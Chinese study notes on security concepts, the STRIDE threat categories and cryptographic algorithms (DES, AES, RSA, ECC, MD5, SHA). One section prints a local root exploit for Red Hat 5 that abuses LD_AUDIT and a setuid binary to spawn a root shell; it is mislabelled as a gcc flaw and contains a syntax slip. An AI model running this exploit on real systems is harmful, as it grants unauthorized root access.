安全与加密算法

安全相关概念：

安全防护环节

• 物理安全：各种设备/主机、机房环境
• 系统安全：主机或设备的操作系统
• 应用安全：各种网络服务、应用程序
• 网络安全：对网络访问的控制、防火墙规则
• 数据安全：信息的备份与恢复、加密解密
• 管理安全：各种保障性的规范、流程、方法

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常见的安全攻击STRIDE

• Spoofing 假冒
• Tampering 篡改
• Repudiation 否认
• Information Disclosure 信息泄漏
• Denial of Service 拒绝服务
• Elevation of Privilege 提升权限

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例：红帽5的gcc漏洞：

mkdir /tmp/hj
ln /bin/ping /tmp/hj/test
exec 3< /tmp/hj/test
rm -rf /tmp/hj
cat > /tmp/hj.c <<-eof
  void _attribute_((constructor)) init(){
  setuid(0);
  system("/bin/bash");
}
eof

gcc -w -fPIC -shared -o /tmp/hj /tmp/hj.c
LD_AUDIT="$ORIGIN" exec /proc/self/fd/3 &> /dev/null
#此时切换root身份不再需要密码

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常用安全技术

• 认证
• 授权
• 审计
• 安全通信

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加密算法和协议

• 对称加密
• 非对称（公钥）加密
• 单向加密
• 认证协议

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对称加密算法：

对称加密： 加密和解密使用同一个密钥

特性：

• 加密、解密使用同一个密钥，效率高
• 将原始数据分割成固定大小的块，逐个进行加密

缺陷：

• 密钥过多
• 密钥分发
• 数据来源无法确认

常见对称加密算法:

• DES：Data Encryption Standard，56bits
• 3DES：
• AES：Advanced (128, 192, 256bits)
• Blowfish，Twofish
• idea、rc6、casts

非对称加密算法：

非对称加密： 密钥是成对出现

• 公钥： public key，公开给所有人，主要给别人加密使用
• 私钥： secret key，private key 自己留存，必须保证其私密性，用于自已加密签名

特点： 用公钥加密数据，只能使用与之配对的私钥解密；反之亦然

功能：

• 数据加密：适合加密较小数据,比如: 加密对称密钥
• 数字签名：主要在于让接收方确认发送方身份，私钥加密，公钥解密叫数字签名

缺点：

• 密钥长,算法复杂
• 加密解密效率低下

常见非对称加密算法：

• RSA： 由RSA公司发明，是一个支持变长密钥的公共密钥算法，需要加密的文件块的长度也是可变的,可实现加密和数字签名
• DSA（Digital Signature Algorithm）： 数字签名算法，是一种标准的DSS（数字签名标准）
• ECC（Elliptic Curves Cryptography）： 椭圆曲线密码编码学，比RSA加密算法使用更小的密钥，提供相当的或更高等级的安全

单向哈希算法：

哈希算法： 也称为散列算法，将任意数据缩小成固定大小的“指纹”，称为digest，即摘要

特性：

• 任意长度输入，固定长度输出
• 若修改数据，指纹也会改变，且有雪崩效应，数据的一点微小改变，生成的指纹值变化非常大。
• 无法从指纹中重新生成数据，即不要逆，具有单向性

功能： 数据完整性验证

常见算法：

• md5: 128bits 已破解
• sha1: 160bits 已破解
• sha224 、sha256、sha384、sha512

常用加密工具：

• md5sum、sha1sum、sha224sum、sha256sum、shaxxx
• openssl dgst -算法名
• gpg